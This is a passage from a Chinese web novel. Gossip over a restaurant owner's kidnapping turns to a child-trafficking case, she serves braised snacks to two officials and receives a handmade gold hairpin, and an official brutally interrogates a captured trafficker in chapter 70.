有人说:“她那食楼每日座无虚席,将周边食楼的生意都抢完了,定是得罪了同行,所以才有被绑之事。”
这是说同行嫉妒,因此行了这等小人之事。
“不对不对,”有人反驳道,“她有大理寺少卿姜泊清做后盾,寻常人不敢轻易得罪她,定是做了什么事,惹了有权有势的人,才会如此。”
他这话,也很有道理。一般同行哪里敢和她作对,整个大理寺都对她有偏颇,又加上她和姜泊清的关系,傻子才会得不偿失,做绑架她的事儿。
“不不不,你们说的都不对,”有略知内情的人说,“她那是惹了情债。”
情债!
这话让在场的人一惊,纷纷看向说话的人。
一个个求知的眼神,让此人的虚荣心得到了极大的满足,他清了清嗓子,说道:“你们还记的李员外那个白月光吗?”
他打算一步一步来,将他们的期待值拉满。
“记得,肯定记得呀!前些日子他们不还在百膳楼前上演了一出好戏嘛!只是,这和沈掌柜被绑有什么关系?”
那沈秋吟又不喜欢李保德,李保德那些话,有脑子的人也都听得出来,就是拒绝柳娘的托词,那柳娘看着也不是无脑的人,没道理会因此记恨沈秋吟。
这情债不成立呀。
“谁说不成立!”那人似是看穿了众人的猜测,辩驳道,“李保德就是因为听了沈掌柜的话,才不与柳娘破镜重圆的。你说她这是不是惹上了情债?”
众人默了一瞬,突然有人“哎”了一声,一时间众人纷纷“哎”起来,似是想通了之间的联系。
不是沈秋吟惹了情债,而是她插入别人的情债里,惹了因果,所以有了报应。
“这么说,便是柳娘一心想复合,李保德其实是有几分动摇的,但沈秋吟从中作梗,李保德听她的话,不与柳娘复合,然后柳娘就怀恨在心,于是绑架了沈秋吟。”
“对对对,没错。你这番推理没错!”
众人觉着找对了推理的方向,七嘴八舌谈论起来,越说越激动。
而在这时,人群里一男子嗤笑一声,骂道:“什么狗屁情债!你们想象力这么丰富,不去写书可惜了。分明就是有人要沈掌柜的命。”
刹那间,人群静了,众人转动眼眸,皆看着说这话的男子。
那人穿一身粗布衣服,做苦力的打扮,但气质倒是不俗,眉眼间英气十足,看着又像是习武之人。
“兄台,这又是什么说法?”有人问。
他不似前头那个人卖关子,吸引众人的注意,很是耿直道:“我同村的好友就在大理寺当差,他亲口给我说柳娘是受人指使,才绑了沈掌柜。”
“受谁?”比起过程,他们更想知晓答案。
究竟是谁绑了濮阳最炙手可热的食楼掌柜。
“这个嘛,我好友不知。不过他听大理寺的其他人说,指示柳娘绑架沈掌柜的是个男人,姜大人已经有了大致的猜测。并且,”男子顿了一下,表情严肃,“这事儿不光涉及到沈掌柜,还整出了一桩大案。”
大案!
“什么样的大案?”
众人好奇起来,纷纷看着他,等着他的答案。
他说:“有人做人牙子,拐卖孩童。那晚姜大人带人围剿之时,带出了一个小孩。”
一石激起千层浪,众人虽议论不停,但神情凝重了许多。
人牙子,那是造成多少人家破碎的魔鬼,若男人所说为真,那这濮阳城里,应当被拐走了不少孩童了。
先前说“情债”男子本就不满他夺走了众人的目光,如今听了这番言论,觉得荒唐极了,立马笑道:“你为夺人眼球,还真是无所不用其极,连人牙子之事都编出来了。”
男子淡淡道:“我不是编的。我讲这些话,都是可以负责任的。”
“好!你说你不是编的。那我问你,濮阳有人牙子,为何没人报案,说家中孩童丢失?”
“你岂知没有?”男子反驳道。
那人语塞,张了张嘴,不知如何反驳。
人牙子之事,是大事。倘若官府为了办案,封锁了消息,也未尝不可。
所以,这话还真没办法接。
众人见他吃瘪,笑起来。
那人脸红,骂骂咧咧一阵,灰溜溜地走开了。
而人牙子之事,不过一盏茶的功夫,就取代了沈秋吟被绑之事,成了新的谈资。
隐在人群里的姜泊清眉头紧锁,扫过每一个参与刚才谈论之人的脸,仿佛寻找什么人似的。
陆昭明不知何时出现在了他身后,说道:“人牙子一事传出去后,大理寺门口果真出现了一些可疑之人。”
“盯住他们,”姜泊清吩咐道,“切记不要打草惊蛇。”
陆昭明保证:“我办事,你放心!”
“所以,”他上前,将一只手搭在姜泊清的肩上,“咱是不是该去百膳楼了。这忙忙碌碌一上午,肚子都瘪了。”
“你何时重口腹之欲了?”姜泊清问。
他印象里的陆昭明对吃食一向不上心,向来是一餐解决所有时间,从未准时过。
“那还不是沈掌柜手艺了得。”
说起这个,他就想到了自己每月的俸禄,忍不住嚎啕道:“姜泊清,你啥时候和沈掌柜成亲呀?”
“成亲?”
他想呀,老早就想,只是时机还没到,他还有些事没做完。
陆昭明喃喃道:“你若和她成婚,咱作为你的娘家人,吃饭不给钱好意思些。”
从沈秋吟和姜泊清确定关系后,他去百膳楼吃饭,她都未收过钱,但陆昭明不好意思,觉着吃白食不好,回回都是给了的,如此,他的俸禄自然是有大半都用在里头了。
倘若他们成亲了,陆昭明脸皮就厚了,自家兄弟,哪里还要谈钱呀,太伤感情了。
姜泊清眯了眯眼,冷笑道:“还想不给钱?做梦!我只会比阿吟更财迷!”
“姜泊清,你没有心。”陆昭明痛心疾首。
沈秋吟今日做了新东西,正愁李保德没来,缺了试菜的人,如今见了姜泊清与陆昭明,可谓是见了救星。
她笑着迎上去,只是用力过猛,那笑有点渗人,陆昭明不禁虎躯一震,“沈掌柜……你这表情让我有点慌呀……”
恐怕是没什么好事。
沈秋吟敛住笑容,问道:“慌什么?”
她明明笑的和蔼可亲,花见花开。
“我就是吧……感觉,大事不妙。”陆昭明磕磕绊绊说道。
“错,”沈秋吟否定,“好事,大好事,我今儿个研究了新东西,就差你们了。”
新东西!
陆昭明眼睛一亮,“快快快,小爷最会吃了!”
沈秋吟领着两人上二楼,等他们坐下后,拍了拍手,小二们如水般往里来,没多久,宽大的桌上放满了新出炉的东西。
陆昭明的目光落在成堆的东西上。
这东西黑漆漆的,有些像碳,虽散发着迷人的香气,但卖相属实不太好,陆昭明突然就不那么自信了。
姜泊清仔细看了一番后问道:“这是什么?”
“卤味,”沈秋吟解释,“由香料包熬制而成,放凉食最香。”
说罢,期待地看着他们,等着他们动手。
越香的东西越毒,就好比犯罪之人的伪装一样,陆昭明不敢轻易下手,看向姜泊清,十分有礼道:“舟野先请。”
让他先吃,若是好吃,他就大快朵颐,若是不好吃,他立马找借口先溜,怎么样都不亏。
姜泊清哪能不知道他的小心思,不过懒得拆穿。
自上回有了柠檬鸡爪的事后,姜泊清现在是完全相信沈秋吟的手艺。
他家阿吟有一双巧手,即使在难弄的食材到
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了她的手上,都能开出一朵花来。
姜泊清瞅了瞅桌上的东西,最终拿起一根皱皱的鸡爪,咬了一小口,眼睛霎时瞪大。
软糯、鲜香,好好吃。
这一刻,姜泊清词穷了,不知该用何词来形容此等人间美味,想来想去,也唯有一句——
日啖荔枝三百颗,不辞长作岭南人。
只有这样,才可表明决心:若日日都能吃到如此美味,他愿意常住百膳楼!
“如何?”沈秋吟与陆昭明异口同声问。
西崤的香料不比后世齐全,她做出来时很是担心味道上会有所欠缺,因此找了很多人试。
百膳楼的小二们一致认为可以,但沈秋吟还是不放心,又找了一些人,这回有人提了意见,太辣了。
她虚心接纳,改良一番后,果真更符合濮阳百姓的口味。
而到姜泊清和陆昭明皆不是正宗濮阳人,若他们也觉得可以,她认为不管是本地人,还是外地人,这钱她都能赚到。
“合着你是阳谋家呀?”系统精准评价。
沈秋吟道:“错!你只说对了一半。”
“嗯?”
“我是阴阳谋家。管它是哪地的,只要是钱,我都想赚。”
“财迷,财迷,大财迷。”
“我开心,我乐意!”
她与系统斗着嘴,姜泊清已经吃完了一整根卤鸡爪,准备拿第二根。
陆昭明抓住他的手,“别动,先说味道如何?”
他真是抓耳挠腮心痒痒的很,既想下手,又害怕味道不尽人意。
“我这动作还不能表明味道如何吗?”姜泊清反问。
“哎!有道理哈,”陆昭明松开他的手,“一时糊涂了,没有反应过来。”
姜泊清不想评价他,一心都在卤味上。
沈秋吟卤了许多东西,除了鸡爪外,还有鸭脚,鸭脖子,及一些素菜。
姜泊清这回拿了鸭脖,一口咬下后,恨不得升天,辣中带着些许甜,综合了辣的刺激,又留下余甘,真是好吃到流泪。
于是乎系统下线后,沈秋吟就看见一个眼眶润润的姜泊清。
“你这是……辣哭了?”
她有印象,做卤味时按耐住了一惯的喜好,没有放很多辣椒,反而加了许多砂糖提鲜,不应当这样呀。
陆昭明咬住一根鸭脚口齿不清道:“我知道怎么回事?”
沈秋吟看着他,静待他的下文。
他说:“好吃哭了。”
姜泊清点头。
这这这,这也太夸张了吧,沈秋吟有些不知所措起来。
然而,这对于姜泊清与陆昭明来说,是真的一点都不夸张。
接下来两人很有默契的没再说话,只想着卤味,很快,一桌东西就被他们一扫而空。
两人摸了摸鼓起来的肚子,心满意足靠在椅子上,侃侃而谈。
“原以为只有肉好吃,没想到菜也好吃,特别是马铃薯,当真美味极了。”陆昭明回味道。
姜泊清微微点头,表示认可。
沈秋吟为他们端上山楂汁,“喝点吧,帮助消化。”
那不是简单的一点,而是一桌,真怕他们被撑死。
“谢谢沈掌柜。”陆昭明接过,礼貌道谢。
姜泊清从袖子里拿出一个盒子递给她。
沈秋吟打开,是一根金钗,做成牡丹花的样子,雍容华贵。
“上次答应你的金钗。”
陆昭明看过去,“咦”了一声,“这就是你捣腾了好几日的东西吗?原是这个呀。”
他曾无意看见过,姜泊清拿了一块儿金子,但具体做什么用的,他就不知道了。
“你……”沈秋吟看向姜泊清。
这是他亲手做的?
姜泊清站起来,将花钗拿起,戴在她的发间,“他们手艺不行,做出来的东西不好,所以我自个儿做,阿吟喜欢吗?”
“喜欢。”她重重的点头,是真的喜欢极了。
70. 父子情深
人牙子之事发酵后,圣上下旨彻查此事,濮阳百姓人心惶惶,即使白日也不出门一步,将家中小孩放在眼皮子底下,连眼睛都不敢眨,生怕孩子被拐走。
朝堂之上,大理寺卿张圭玉接了圣旨,姜泊清被任命为主管此案的官,其余人听他调遣。
只是,金吾卫统领姜庭渊忽然请旨从旁协助引人议论。
这两兄弟,说句仇敌见面,分外眼红不为过,他们在一块儿查案,太阳打西边出来了?
众人心里想。
圣上没说什么,挥了挥手,一旁的公公说了个“准”字。
下了早朝后,陆昭明与姜泊清一道走,路上甚是不解:“这姜庭渊今日是中邪了,为何会横插此案一脚?”
他们虽都管查案,但向来是泾渭分明,你不管我,我不管我。
“不知道。”姜泊清说。
他也未曾想明白过,姜庭渊此举意欲何为。
“莫不是想一雪前耻?”
上回姜庭渊糊涂抓人,引来百姓笑话,圣上虽未降他的职,但结结实实将他骂了一番。
“我直觉没那么简单。”
这案子不好破,目前已知的线索不仅少,且价值不大,按照姜庭渊的性格,不会掺和这种捞不到好处,还很有可能背尚个办案不力的案子,除非……
姜泊清没往下想。
陆昭明正张嘴,就瞧见姜庭渊与姜尚坤过来了,忙闭上嘴,装作看天。
有些话,不好当着人面讲。
姜尚坤三步并做两步上前,叫住姜泊清。
姜泊清未回头,也未停下脚步,像是没听见。
不过,是真没听见,还是假没听见,这就不好说了。
路上来往的同僚甚多,姜泊清此举下了他的面子,姜尚坤有些怒,大骂道:“逆子,老子叫你呢!”
他这一嗓子,叫街上的人都停住脚步,看了过来,甚至有些人小声嘀咕着这对父子间的恩怨。
姜泊清不耐烦地回头,给了姜尚坤一个不屑眼神,没说话,继续向前走。
有些人活着,但已经死了,真是阴魂不散。
姜尚坤被做儿子的蔑视了,气急败坏,上前就要打他,但姜庭渊将其拦住,上演了一出父子情深的把戏。
姜泊清看笑了,拍掌道:“好呀,这样的好戏还得你们演才行,不当戏子可惜了。”
说一句人不要脸,天下无敌不为过。
他姜泊清也算见过形形色色的人,但这父子俩,啧啧啧,少见,少见,少见的贱。
“你!”姜尚坤脸都青了,气得脸上的褶子皱在一块儿。
姜泊清不欲与他们纠缠,收敛了笑,眼神浸了寒霜,语气不善道:“别在我面前晃荡,不然我宰了你们。”
“你……你……”姜尚坤用手指着他的鼻子,把生平能想到的脏话都骂了出来。
姜泊清面不改色,甚至连眼神都没给他一个,扯着陆昭明走了,徒留姜尚坤和姜庭渊在原地耳红面赤,徒惹人笑话。
众人见没了热闹可看,散了去。
陆昭明要回府吃饭,不与姜泊清去百膳楼,在中途下了车。
车夫驾着马,本要到百膳楼时,姜泊清忽然敕令改道,以最快的速度回大理寺。
刚到门口,便见姜庭渊带着人要调走匪首查案,大理寺的人不让,双方对峙着。
姜泊清快步上前,挡在前面,随手扯出一把剑,指着姜庭渊:“试试?”
这架势,明摆着再说,人,他带不走。
姜庭渊道:“圣上命我协助办案,我有权审查犯人,姜泊清,你以剑指我,阻挠我见犯人,是抗旨!”
姜泊清满不在乎地笑了笑,“既然如此,那我就宰了你,将这罪名放大些。”
说着,他手中的剑往前一寸,差一点,抵住了姜庭渊的喉。
姜泊清莱真的!
姜庭渊的脸瞬间苍白,腿也不受控制地抖起来。
“姜泊清,杀……杀……杀我……父亲不会放过你的。”他连话也说不清了。
“我连他一块儿杀。”姜泊清丝毫不怕。
“你大逆不道!”
姜泊清给了他一个挑衅的眼神,还是那两个字,“试试?”
姜庭渊怎么敢拿命和疯子玩,屁滚尿流滚了。
姜泊清收了剑,对挡人的衙役道:“做得好,等陆昭明回来后,去找他领赏。”
说罢,他急步向大牢的方向走去。
牢中,酷吏们正对匪首用刑。
那匪首是个有血性的,没叫一句,行刑的酷吏们都说他是个忠心的人。
只是,这忠心在大理寺不管用,一日不开口,一日刑法不停,纵使活着出去,不死也残。
姜泊清在牢外看了一会儿,叫了停。
他走进牢中,没说话,只是笑一笑,让人退到后头,他亲自上场。
酷吏们对视一眼,放下刑具,瞧着那匪徒的眼神都变了,从前是憎恨,如今是可怜他。
姜泊清之所以有一冷面阎王的称号,就是因为他是审讯的一把好手,就算是死人,他也有办法搞到线索。
唉,这小子完了。
“我劝你还是快交代吧!”其中一个酷吏动了恻隐之心,提醒他。
匪首不领情,反朝他吐唾沫,酷吏冷了声音:“作死。”
他们退了出去。
姜泊清拿着火钳,走上前,看着匪首,淡然一笑:“知道先前为何不是我审你吗?”
匪首不理他,姜泊清也不恼,继续说:“现在整个濮阳都在传人牙子的事儿,他们都讲你该千刀万剐,我觉得这话说的没错,你的确该落得这个下场。可后头我转念一想,你若这么轻易了结,太便宜了,得慢慢玩才有意思。”
他的声音极冷,如三九寒天里的雪一样冻人。
匪首这才有了点反应,抬头看他,“你想做什么?”
“做什么?”姜泊清勾唇冷笑,“自然是折磨你。”
慢慢的折磨,痛不欲生,求生不得,求死不能。
灯火幽微的牢中这下子惨叫声不断,听得人心一颤。
所谓用遍了酷刑也不叫一声的血性在姜泊清手中顷刻间化为乌有。
站在外头待命的两个酷吏不约而同低下头,不敢再看那绑匪的惨状。
纵使他们见惯了,也不由地生俱。
用小刀一点点
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割人腿,不会要命,却能出一堆血。
那匪首已经晕厥了过去,姜泊清不会轻易放过他,一盆冷水浇下去,人有了知觉,虽眼睛未睁,但手动了,新一轮酷刑,又开始。
他又痛得出声,惊走了盘旋在屋顶的飞鸟,经过唯一的,小小的一口天窗。
姜泊清又换了新的玩法。
匪首的嘴都咬碎了,唇上都是血。
他好想死。
这是他现在唯一的念头。
大约半个时辰,姜泊清累了,擦了擦手,同他闲聊起来:“我先前是不是和你说过,人牙子之事,濮阳都在议论?”
匪首给不了他答复,但姜泊清不在乎,自顾自继续说:“你在濮阳行事,却没人报案家中丢了小孩,这背后必然有人替你摆平。可是,若这人得知你被抓了,还假装透露了些许消息,又当如何?”
匪首吐了一口血,竟然带着笑,虚弱道:“你什么都不知道,又如何假装。”
“是吗?”姜泊清一笑,又换了话题,“他们都说你有血性,受刑时不肯叫一声,方才是怎么了?”
“你究竟要做什么?”匪首的心理防线有了一丝溃败。
“玩呀!和你慢慢玩。”
姜泊清又拿了新的刑具,匪首没挨过两下,晕厥了过去,他将东西扔桌上,道了一句没意思,叫人请大夫,还嘱咐道:“把他的嘴堵上。”
酷吏领命,姜泊清走出牢房。
路过柳娘关押的牢房时,被她拉住了衣角:“姜大人,放了我吧,我把知道的都说了。我出去后保证不找沈掌柜麻烦,我甚至离李保德远远的……不,我离开濮阳,再也不回来。”
面对她的哀求,姜泊清无动于衷,只道:“放手。”
柳娘握得更紧了,她吸了吸鼻子,抑制住害怕的眼泪:“求你了,姜大人。”
她方才听到了匪首凄惨的叫声,就像恶鬼的呻吟,她不要待在牢里,她不想死。
要出去,一定要出去。
他只能求姜泊清放过她。
姜泊清不说话,拿过衙役的刀,直接将衣服分成两半,柳娘跌倒在地,哭起来。
他出了大牢,刚下阶梯,便见沈秋吟提着食盒等着她。
“阿吟,你怎么来了?”他下意识看了看自己身上,都是血,匪首的血。
他怕吓到她,转过身去,沈秋吟走上前,“我不怕的。”
她不怕姜泊清,什么样的姜泊清都不怕。
“脏。”
他的阿吟最爱干净,他不想弄脏了她。
“转过来,我替你擦。”
他不动。
沈秋吟道:“若是这样,我就生气了。”
他动了动,但没立马转身,像是在衡量。
沈秋吟继续讲:“我数三声。三、二……”
她将要念下“一”时,姜泊清转了过来,哄道:“别生气,生气对身子不好。”
“你也知道生气对身体不好。那为何要惹我?”
她让他提着食盒,拿出一块帕子,轻轻地擦着他的脸,他的手。
“我不惹。我听你的。”
她笑起来,夸奖道:“这样才乖嘛。”